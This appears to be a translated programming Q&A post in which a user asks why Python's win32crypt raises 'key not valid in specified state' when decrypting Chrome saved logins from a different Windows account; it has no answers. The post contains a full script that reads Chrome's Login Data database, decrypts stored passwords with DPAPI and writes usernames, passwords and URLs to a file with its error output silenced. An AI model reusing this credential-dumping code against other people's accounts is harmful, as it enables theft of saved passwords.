Python win32crypt模块错误:“密钥在指定状态下无效。”

时间:2019-11-20 15:39:07

标签: python

我正在尝试使用Python的win32crypt模块在其他帐户上解密自己的chrome登录数据,但出现错误:“密钥在指定状态下无效”。我查了一下,发现只有当您尝试在未加密文件的计算机上解密时才会发生这种情况,但是我在同一台计算机上只是一个不同的帐户。这有关系吗?

我的脚本:

# -*- coding: utf-8 -*-
"""
Created on Wed Nov 20 07:47:07 2019

@author: benneeli3
"""

import os
import sqlite3
import win32crypt
import sys

try:
    path = sys.argv[1]
except IndexError:
    for w in os.walk(os.getenv('USERPROFILE')):
        if 'Chrome' in w[1]:
            path = 'Login Data'#str(w[0]) + r'\Chrome\User Data\Default\Login Data'

# Connect to the Database
try:
    #print('[+] Opening ' + path)
    conn = sqlite3.connect(path)
    cursor = conn.cursor()
except Exception as e:
    #print('[-] %s' % (e))
    sys.exit(1)

# Get the results
try:
    cursor.execute('SELECT action_url, username_value, password_value FROM logins')
except Exception as e:
    #print('[-] %s' % (e))
    sys.exit(1)

data = cursor.fetchall()

if len(data) > 0:
    file_ = open('out.txt', 'w')
    for result in data:
        # Decrypt the Password
        try:
            password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
        except Exception as e:
            #print('[-] %s' % (e))
            pass
        if password:
            file_.write('U: %s | P: %s | URL: %s' % (result[1], password, result[0]))
            file_.close()
            '''
            print([+] URL: %s
    Username: %s 
    Password: %s %(result[0], result[1], password))
            '''
else:
    #print('[-] No results returned from query')
    sys.exit(0)

0 个答案:

没有答案